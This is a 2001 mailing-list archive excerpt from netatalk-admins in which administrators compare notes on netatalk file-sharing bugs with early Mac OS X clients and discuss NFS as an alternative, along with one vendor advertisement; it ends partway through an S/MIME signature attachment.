	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA15845
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 18:17:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA10627
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 18:17:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA10596
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 18:17:36 -0500 (EST)
Received: from leonids.lunar.com (leonids.lunar.com [207.33.114.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA10547
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 18:17:34 -0500 (EST)
Received: from leonids.lunar.com (IDENT:miketec@localhost [127.0.0.1])
	by leonids.lunar.com (8.11.0/8.11.0) with SMTP id f1FNHpM00797;
	Thu, 15 Feb 2001 15:17:51 -0800
From: Mike Johnson <mikej@lunar.com>
Date: Thu, 15 Feb 2001 23:17:51 GMT
Message-ID: <20010215.23175100@leonids.lunar.com>
Subject: Re: Apple, Netatalk, OS X
To: Ian Wojtowicz <i@woj.com>
CC: <netatalk-admins@umich.edu>
In-Reply-To: <B6B19F61.6CD1%i@woj.com>
References: <B6B19F61.6CD1%i@woj.com>
X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.2;Linux)
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id SAA15845


How solid is the NFS implementation? I've heard it's been bundled with X.

- Mike Johnson


>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 2/15/01, 2:59:45 PM, Ian Wojtowicz <i@woj.com> wrote regarding Re: 
Apple, Netatalk, OS X:


> Hi Jeff.

> > Some people have gotten netatalk to work under Mac OSX (see the mailing
> > list archives), but nothing officially from Apple, yet.

> I've scanned the archives and haven't found a single person who has
> connected to a netatalk server with Mac OS X and actually experienced
> bug-free performance. Netatalk is essentially unusable with Mac OS X. 
This
> is really unfortunate for organizations that rely on Mac<->Linux
> connectivity.

> 
___________________________________________________________________________
> ian wojtowicz                                                
http://woj.com

From netatalk.administrators-errors@umich.edu  Thu Feb 15 18:19:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA15896
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 18:19:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA14249
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 18:18:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA14222
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 18:18:56 -0500 (EST)
Received: from femail12.sdc1.sfba.home.com (femail12.sdc1.sfba.home.com [24.0.95.108])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA14183
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 18:18:55 -0500 (EST)
Received: from [10.0.1.7] ([24.176.79.249]) by femail12.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010215231901.BPYV1609.femail12.sdc1.sfba.home.com@[10.0.1.7]>;
          Thu, 15 Feb 2001 15:19:01 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 15 Feb 2001 15:19:14 -0800
Subject: Re: Apple, Netatalk, OS X
From: paul beard <pkdb1@home.com>
To: Ian Wojtowicz <i@woj.com>, <netatalk-admins@umich.edu>
Message-ID: <B6B1A3F2.3FD4%pkdb1@home.com>
In-Reply-To: <B6B19F61.6CD1%i@woj.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Actually, I have used netatalk with OS X, but TCP only. I can't get
appletalk (pure DPP) to work under OS 9 or X.


on 2/15/01 2:59 PM, Ian Wojtowicz at i@woj.com wrote:

> Hi Jeff.
> 
>> Some people have gotten netatalk to work under Mac OSX (see the mailing
>> list archives), but nothing officially from Apple, yet.
> 
> I've scanned the archives and haven't found a single person who has
> connected to a netatalk server with Mac OS X and actually experienced
> bug-free performance. Netatalk is essentially unusable with Mac OS X. This
> is really unfortunate for organizations that rely on Mac<->Linux
> connectivity.
> 
> ___________________________________________________________________________
> ian wojtowicz                                                http://woj.com

--
Paul Beard / 206 529 8400
8040 27th Ave NE
Seattle WA 98115

You'll wish that you had done some of the hard things when they were easier
to do.



From netatalk.administrators-errors@umich.edu  Thu Feb 15 18:46:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA16584
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 18:46:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA24492
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 18:46:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA24457
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 18:46:21 -0500 (EST)
Received: from mta3-rme.xtra.co.nz (mta3-rme.xtra.co.nz [203.96.92.13])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA24373
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 18:46:18 -0500 (EST)
Received: from [192.168.1.248] ([210.54.213.206]) by mta3-rme.xtra.co.nz
          with ESMTP
          id <20010215234620.ISSY13164680.mta3-rme.xtra.co.nz@[192.168.1.248]>;
          Fri, 16 Feb 2001 12:46:20 +1300
Mime-Version: 1.0
X-Sender: darena6@pop3.xtra.co.nz
Message-Id: <p05010405b6b217b8cbad@[192.168.1.248]>
In-Reply-To: <B6B19F61.6CD1%i@woj.com>
References: <B6B19F61.6CD1%i@woj.com>
Date: Fri, 16 Feb 2001 12:40:08 +1300
To: Ian Wojtowicz <i@woj.com>, <netatalk-admins@umich.edu>
From: Marcus Radich <marcus@darena.co.nz>
Subject: Re: Apple, Netatalk, OS X
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Interesting? I'm running *a version* of OSX that mounts the netatalk 
server in our offices, and at home fine.
I go to the 'Go' menu, enter the IP of the Server, enter the 
username/password, and it mounts on my desktop.
I have been able to open, save, copy Quark/Photoshop/Filemaker files, 
play MP3s directly off it without issue. I must admit, I haven't 
given it the full-blown test that it needs, but on the surface, it 
works. (Apart from the having to enter IP bit). Based on my 
experience, wait until you get a later version than the public beta 
;->   OSX does get better, trust me!

I'll give it a full test tonight and report back any weirdo behaviour later on.

Marcus




At 2:59 PM -0800 15/2/2001, Ian Wojtowicz wrote:
>Hi Jeff.
>
>>  Some people have gotten netatalk to work under Mac OSX (see the mailing
>>  list archives), but nothing officially from Apple, yet.
>
>I've scanned the archives and haven't found a single person who has
>connected to a netatalk server with Mac OS X and actually experienced
>bug-free performance. Netatalk is essentially unusable with Mac OS X. This
>is really unfortunate for organizations that rely on Mac<->Linux
>connectivity.
>
>___________________________________________________________________________
>ian wojtowicz                                                http://woj.com

-- 
========================================================

"Always ask the question, never assume the answer."
		Marcus Radich 1999

========================================================

From netatalk.administrators-errors@umich.edu  Thu Feb 15 19:24:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA17474
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 19:24:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA15068
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 19:24:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA15041
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 19:24:28 -0500 (EST)
Received: from emailprocess ([64.2.225.21])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA15017
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 19:24:27 -0500 (EST)
Message-Id: <200102160024.TAA15017@kingcreole.mr.itd.umich.edu>
From: "netzoom@altimatech.com" <netzoom@altimatech.com>
To: <netatalk-admins@umich.edu>
Subject: NetZoom for Network Diagramming!
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Thu, 15 Feb 2001 18:29:26

Network diagramming just became quicker, easier and more accurate! NetZoom network diagramming solutions starting at US$ 99!
-----------------------------------------------------------------
Altima is pleased to announce the release of NetZoom 3.0! Current NetZoom customers may upgrade to version 3.0 for free using their subscription!  

To download the demo version of NetZoom please click here: http://www.altimatech.com/altimatech/products/demodownload.htm

To see sample network diagrams created with NetZoom, please visit http://www.altimatech.com/altimatech/products/samplenetworks.htm 
-------------------------------------------------------
Now you can create accurate, detailed and sophisticated network diagrams while working in Visio (5.0 & 2000, all versions), PowerPoint, Actrix, Adobe Illustrator, CorelDRAW, netViz, SmartDraw, LanFlow, StarOffice, iGrafx, and many other software packages. For details on the different NetZoom products, please visit: http://www.altimatech.com/altimatech/products/index.htm.
-------------------------------------------------------
NetZoom contains 35,000+ vendor specific network equipment shapes from 750+ network equipment manufacturers including Cisco, Sun, Compaq, HP, Dell, IBM, Nortel, 3COM, Redback, Lucent, APC, Juniper, Foundry, Extreme, Chatsworth and many, many others. 
 
Included in the price of all NetZoom 2000 products and NetZoom VNE Stencils is a FREE one-year Equipment Update Subscription that allows you to download (24x7) all new equipment shapes AND any shapes that you request us to draw!  We update on a weekly basis (more if necessary) to make sure that you have all of the equipment shapes that you need in order to create great network diagrams!

ALL equipment shapes requested by NetZoom customers are fulfilled at no charge!
-------------------------------------------------------
Other NetZoom 2000 features include:
 
* All shapes have connection points on the ports.  This allows you to create very detailed and accurate diagrams!  
* Chassis/ card relationships to facilitate quick and accurate buildouts/designs!
* Innovative port level intelligence built into every equipment shape!
* Continuous 24x7 web based access to new/updated equipment shapes via web-based download!
-------------------------------------------------------
VISIO USERS--YOU NOW HAVE TWO GREAT OPTIONS!  
(Please visit http://www.altimatech.com/altimatech/products/visio_products.htm for more details on NetZoom VNE Stencils and NetZoom 2000 for Visio)

At Altima, we are very serious about becoming your trusted partner for network diagramming.  In order to serve you better, we have instituted the following:

1. The NetZoom Guarantee (http://www.altimatech.com/altimatech/products/guarantee.htm)
2. Live customer service and free technical support between 8:30-5:30 PM Central Time (US), Monday through Friday.  Please call 630.790.0500 or send email to: support@altimatech.com
3. A partnership program with leading equipment manufacturers to make sure that their equipment is current and accurate.

Buy NetZoom today (http://www.altimatech.com/altimatech/purchase/index.htm) and see why it is used and endorsed by leading network equipment manufacturers!

NetZoom 2000 ... Incredible Functionality!   Incredible Content!   Incredible Value!

Best Regards,

Altima Technologies, Inc.
**The Leader in Network Diagramming Solutions**  
 
Contact Information:
Altima Technologies, Inc.
799 Roosevelt Road, Building 6
Glen Ellyn, IL 60137 USA
Phone:  630.790.0500
Fax:  630.790.9995
Email:  info@altimatech.com
http://www.altimatech.com/
-----------------------------------------------------------------
If you prefer not to receive future email communications from Altima Technologies, Inc., please click here
mailto: NZ.Remove@altimatech.com
Altima Technologies, Inc does not share your email information with other organizations. Your email address is used solely to keep you updated on Altima Technologies, Inc products, updates, events and special offers.
-----------------------------------------------------------------
Copyright (c) 2001 Altima Technologies, Inc.  All Rights Reserved.
NetZoom 2000, NetZoom Symbols, NetZoom VNE Stencils, and EQServer are trademarks Altima Technologies, Inc. The names of actual companies and products mentioned herein may be the trademarks of their respective owners.
-----------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Thu Feb 15 19:32:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA17661
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 19:32:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA10669
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 19:32:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA10599
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 19:32:07 -0500 (EST)
Received: from post.aecom.yu.edu (post.aecom.yu.edu [129.98.1.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA10552
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 19:32:05 -0500 (EST)
Received: from [129.98.91.150] (usseinstein.aecom.yu.edu [129.98.91.150])
	by post.aecom.yu.edu (8.9.3/8.9.3) with ESMTP id TAA22272;
	Thu, 15 Feb 2001 19:32:04 -0500 (EST)
Mime-Version: 1.0
X-Sender: mvolaski@mailserver.aecom.yu.edu
Message-Id: <a05001909b6b223ceeb6a@[129.98.91.150]>
In-Reply-To: <B6B1A3F2.3FD4%pkdb1@home.com>
References: <B6B1A3F2.3FD4%pkdb1@home.com>
Date: Thu, 15 Feb 2001 19:32:04 -0500
To: netatalk-admins@umich.edu
From: Maurice Volaski <mvolaski@aecom.yu.edu>
Subject: Re: Apple, Netatalk, OS X
Cc: i@woj.com, vpierce@VNET.IBM.COM
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>Actually, I have used netatalk with OS X, but TCP only. I can't get
>appletalk (pure DPP) to work under OS 9 or X.
>

The only issue I saw that was Netatalk specific was that DHX 
authentication didn't work. It definitely does shows up in the 
Chooser, and I want to remember that AppleTalk transport did work, 
but I am not wholly certain I tested that.
Unfortunately, if you are using HFS+ volumes on any available 
incarnation of the server, you will run into the server stalling when 
files are copied from client to server. The bigger the file the 
longer the stall. Files about a gig in size won't make it at all. 
This affects Samba running on X too. If you are using UFS, your 
partition must be smaller than 128 GB; otherwise, fsck won't work.
-- 

Maurice Volaski, mvolaski@aecom.yu.edu
Computing Support, Rose F. Kennedy Center
Albert Einstein College of Medicine of Yeshiva University

From netatalk.administrators-errors@umich.edu  Thu Feb 15 20:09:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA18862
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Feb 2001 20:09:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA10730
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Feb 2001 20:09:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA10713
	for netatalk.administrators-members@umich.edu; Thu, 15 Feb 2001 20:09:04 -0500 (EST)
Received: from woj.com (brilliantmovies.com [64.69.72.50])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA10688
	for <netatalk-admins@umich.edu>; Thu, 15 Feb 2001 20:09:03 -0500 (EST)
Received: from [10.0.1.4] (ip-208-181-196-65.adsl.radiant.net [208.181.196.65] (may be forged))
	by woj.com (8.9.3/8.9.3) with ESMTP id RAA22626;
	Thu, 15 Feb 2001 17:09:29 -0800
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 15 Feb 2001 17:08:58 -0800
Subject: Re: Apple, Netatalk, OS X
From: Ian Wojtowicz <i@woj.com>
To: Marcus Radich <marcus@darena.co.nz>
CC: <netatalk-admins@umich.edu>
Message-ID: <B6B1BDAA.6CEF%i@woj.com>
In-Reply-To: <p05010405b6b217b8cbad@[192.168.1.248]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

The weirdo behaviour I have experienced includes incorrectly reporting files
as 0KB and intermittent errors during copying. Have you experienced any of
these conditions in more recent OS X builds?

> Interesting? I'm running *a version* of OSX that mounts the netatalk
> server in our offices, and at home fine.
> I go to the 'Go' menu, enter the IP of the Server, enter the
> username/password, and it mounts on my desktop.
> I have been able to open, save, copy Quark/Photoshop/Filemaker files,
> play MP3s directly off it without issue. I must admit, I haven't
> given it the full-blown test that it needs, but on the surface, it
> works. (Apart from the having to enter IP bit). Based on my
> experience, wait until you get a later version than the public beta
> ;->   OSX does get better, trust me!
> 
> I'll give it a full test tonight and report back any weirdo behaviour later
> on.

___________________________________________________________________________
ian wojtowicz                                                http://woj.com


From netatalk.administrators-errors@umich.edu  Fri Feb 16 00:14:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA26340
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Feb 2001 00:14:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA00612
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Feb 2001 00:14:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA00595
	for netatalk.administrators-members@umich.edu; Fri, 16 Feb 2001 00:14:34 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA00520
	for <netatalk-admins@umich.edu>; Fri, 16 Feb 2001 00:14:31 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id QAA18625;
	Fri, 16 Feb 2001 16:14:23 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3A8CB838.D290CF28@arts.usyd.edu.au>
Date: Fri, 16 Feb 2001 16:18:48 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Ian Wojtowicz <i@woj.com>
CC: netatalk-admins@umich.edu
Subject: Re: Apple, Netatalk, OS X
References: <B6B19F61.6CD1%i@woj.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms7B68257A5F55EF96A489B87A"

This is a cryptographically signed message in MIME format.

--------------ms7B68257A5F55EF96A489B87A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ian Wojtowicz wrote:
> 
> Hi Jeff.
> 
> > Some people have gotten netatalk to work under Mac OSX (see the mailing
> > list archives), but nothing officially from Apple, yet.
> 
> I've scanned the archives and haven't found a single person who has
> connected to a netatalk server with Mac OS X and actually experienced
> bug-free performance. Netatalk is essentially unusable with Mac OS X. This
> is really unfortunate for organizations that rely on Mac<->Linux
> connectivity.

 'bug free performance', just at the moment I would be happy with buggy
performance. All the files show as zero lenght. Can move no data at all.
Could say it works fine but the performance is 0 :-)


-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------ms7B68257A5F55EF96A489B87A
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMjE2MDUxODQ5WjAjBgkq
hkiG9w0BCQQxFgQUok+6gGuJX/zVBTXgxnBAu7TGcZowOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYAhgxG5pKGJeMnh+0dqQiO3OhsZS7SFXf7x5QDLyrgWXeBdUXPodCoChUYe99S0EBMUNQfO
RAfV53Jzt5s9BoaLU8FyQkyqcOhejWhsYG8jl668ui20e/n/b+0RvxkSJmnih37swN2n5ud6
upzHmQZmgA3MmCjZzqXMYKvynj5aQA==
--------------ms7B68257A5F55EF96A489B87A--


From netatalk.administrators-errors@umich.edu  Fri Feb 16 00:16:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA26557
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Feb 2001 00:16:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA03575
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Feb 2001 00:16:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA03561
	for netatalk.administrators-members@umich.edu; Fri, 16 Feb 2001 00:16:46 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA03480
	for <netatalk-admins@umich.edu>; Fri, 16 Feb 2001 00:16:43 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id QAA21834;
	Fri, 16 Feb 2001 16:16:28 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3A8CB8B6.43C25182@arts.usyd.edu.au>
Date: Fri, 16 Feb 2001 16:20:54 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Ian Wojtowicz <i@woj.com>
CC: richard@prototec.co.nz, netatalk-admins@umich.edu
Subject: Re: Apple, Netatalk, OS X
References: <B6B1A28F.6CD4%i@woj.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msB42FB5944255B21F6AF35980"

This is a cryptographically signed message in MIME format.

--------------msB42FB5944255B21F6AF35980
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ian Wojtowicz wrote:
> 
> Hi Richard.
> 
> > I thought OS X would work fine with NFS.
> 
> Does NFS on OS X support all the great features we expect from appletalk
> file servers like custom icons, persistent icon arrangements (and window
> locations), robust file aliases, etc.? Or are these features abstracted away
> from the filesystem/protocol layer?

 NFS assumes a little to much trust between the client and server and
also assumes some sort of centralised login. So unless you want to
convert your unix machine to netinfo and have all Mac users login to the
netinfo 'domain', NFS isnt a solution.
 I never got OSX and our Digital Unix server to speak NFS to one another
anyway....

-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------msB42FB5944255B21F6AF35980
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
